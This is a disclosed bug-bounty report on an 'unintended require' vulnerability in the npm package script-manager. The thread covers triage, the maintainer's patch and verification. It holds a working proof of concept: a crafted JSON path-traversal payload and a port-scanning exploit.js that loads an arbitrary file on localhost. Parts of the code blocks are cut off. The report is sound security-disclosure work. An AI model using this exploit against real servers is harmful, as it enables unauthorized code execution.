5

[script-manager] Unintended require

Share:

TIMELINE

rmilov submitted a report to Node.js third-party modules. Jul 26th (3 ye

I would like to report Unintended Require in `script-manager`.
It allows loading arbitary non-production code (js files).

Module

module name: script-manager
version: 0.8.6
npm page: `https://www.npmjs.com/package/script-manager`

Module Description

node.js manager for running foreign and potentially dangerous scripts in the cluster

Module Stats

462 downloads in the last day
3729 downloads in the last week
13212 downloads in the last month

Vulnerability

Vulnerability Description

`script-manager` is a Node.js module wich runs HTTP server as a child process and sends requests to this server. The server dynamically loads (with help of require
some parts of the code, as long as the path to required code depends on the data from request (req.body.options.execModulePath), if the attacker knows the por
the server it is possible to load code that was not intended to execute.

source code example:

https://github.com/pofider/node-script-manager/blob/master/lib/worker-servers.js#L268

require(req.body.options.execModulePath)(req.body.inputs, callback, function (err, val) {

Detailed description of this bug can be found here: https://nodesecroadmap.fyi/chapter-1/threat-UIR.html

script-manager_scheme.png (F539727)

Steps To Reproduce:

- create directory for testing
  `mkdir poc`
  `cd poc/`
- install package

Code 24 Bytes Wrap lines Copy Dow

```
npm i script-manager
```

- create index.js file with default usage example of script-manager

index.js (example code form https://www.npmjs.com/package/script-manager)

Code 507 Bytes Wrap lines Copy Dow

```
var scriptManager = require("script-manager")({ numberOfWorkers: 2 });

scriptManager.ensureStarted(function(err) {

    /*send user's script including some other specific options into
    wrapper specified by execModulePath*/
    scriptManager.execute({
        script: "return 'Jan';"
    }, {
         execModulePath: path.join(__dirname, "script.js"),
         timeout: 10
     }, function(err, res) {
         console.log(res);
     });

 });
```

- create script.js (example file from https://www.npmjs.com/package/script-manager)

script.js

Code 235 Bytes Wrap lines Copy Dow

```
    });
    done(result);
});
```

- create pwn.js file with some arbitary code for testing

pwn.js

Code 24 Bytes Wrap lines Copy Dow

```
console.log('PWNED')
```

- create file exploit.js

main idea of the exploit is to request all ports in order to hit the one which serves the server and send crafted request to it

Code 67 Bytes Wrap lines Copy Dow

```
{"options": {"rid": 12, "execModulePath": "./../../../pwn.js"}}
```

where './../../../pwn.js' is the path to script we want to execute

algorithm is simple:

1. send HTTP request (from example above) to all ports within 1024 - 65535 range
2. if there is specific response with the error message that contains:

Code 34 Bytes Wrap lines Copy Dow

```
require(...) is not a function
```

it means that we found our server and code was executed

exploit.js

Code 1.81 KiB Wrap lines Copy Dow

```
const request = require('request')
const host = 'localhost'
let stopEnum = false

/*
 * Sends crafted HTTP request to specific port
 * in order to check if it is the app we are looking for and exploit it
 *
 * @param {number} port - port number
  * @returns {Promise}
  */
 async function sendRequestToPort(port) {
   return new Promise((resolve, reject) => {
     request.post(
       {
         url: `http://${host}:${port}`,
         // sending json with path to js file we want to execute
         // https://github.com/pofider/node-script-manager/blob/master/lib/worker-servers.js#L268
         json: {"options": {"rid": 12, "execModulePath": "./../../../pwn.js"}}
       },
       (err, req, body) => {
         process.stdout.write(`requested http://${host}:${port}\r`)
         // if there is specific response with the error message it means that we found our server
         // and code was executed
         if (body && body.error && body.error.message === 'require(...) is not a function') {
           console.log(`port is ${port}`)
           stopEnum = true
         }
         resolve()
       }
     )
   })
 }

 (async function main(){
   //ports range
   const start = 1024
   const finish = 65535

   // split ports range into chunks of 1000
   let first = start
   let last = start + 1000
   while (!stopEnum) {
     if ( last > finish ) {
       last = finish
       stopEnum = true
     }
     const promises = []
```

```
    }
    await Promise.all(promises)
    first = last + 1
    last = first + 1000
  }
})()
```

- install request library (for exploit.js to work) `npm i request`
- run index.js
  `node index.js`
- run exploit.js in another terminal and wait until it finishes (it may take a few minutes)
  `node exploit.js`

index.js should log 'PWNED' to terminal

Patch

Supporting Material/References:

- OS: Linux Mint current
- Node.js: 10.16.0
- NPM: 6.9.0

Wrap up

- I contacted the maintainer to let them know: Y
- I opened an issue in the related repository: N

Impact

An attacker is able to control the x in require(x) and cause code to load that was not intended to run on the server.

1 attachment:
F539727: script-manager_scheme.png

1_analyst_layla HackerOne triage posted a comment. Jul 27th (3 ye

Hi @inkz,

Thank you for your submission. Your report is currently being reviewed and the HackerOne triage team will get back to you once there is additional information to share.

Kind regards,
@bassguitar

1_analyst_layla HackerOne triage changed the status to **Triaged.** Jul 27th (3 ye

Hello @inkz,

Thank you for your submission! We were able to validate your report, and have submitted it to the appropriate remediation team for review. They will let us know t final ruling on this report, and when/if a fix will be implemented. Please note that the status and severity are subject to change.

Regards,
@bassguitar

rmilov posted a comment. Jul 29th (3 ye

Hi @bassguitar,
thanks for validation. I contacted the author of the module and he released the patch for `script-manager`
https://github.com/pofider/node-script-manager/commit/ac645ab2e58785324c467e0583d7f277a7aa07b3

pofider joined this report as a participant. Feb 3rd (3 ye

pofider posted a comment. Feb 3rd (3 ye

Thank you. The patch was already released.

marcinhoppe Node.js third-party modules staff posted a comment. Feb 4th (3 ye

@ermilov @bassguitar can you confirm this vulnerability has been fixed properly? Then I could proceed with disclosure. Thanks!

rmilov posted a comment. Feb 4th (3 ye

@marcinhoppe ok, I'll check it soon.

marcinhoppe Node.js third-party modules staff posted a comment. Feb 6th (3 ye

@ermilov were you able to verify if the issue was fixed?

rmilov posted a comment. Feb 6th (3 ye

@marcinhoppe sorry for the delay.
Yes, I tried the new version of the package and I can verify that the issue was fixed.

marcinhoppe Node.js third-party modules staff posted a comment. Feb 7th (3 ye marcinhoppe Node.js third-party modules staff requested to disclose this report. Feb 7th (3 ye

ermilov agreed to disclose this report. Feb 7th (3 ye

This report has been disclosed. Feb 7th (3 ye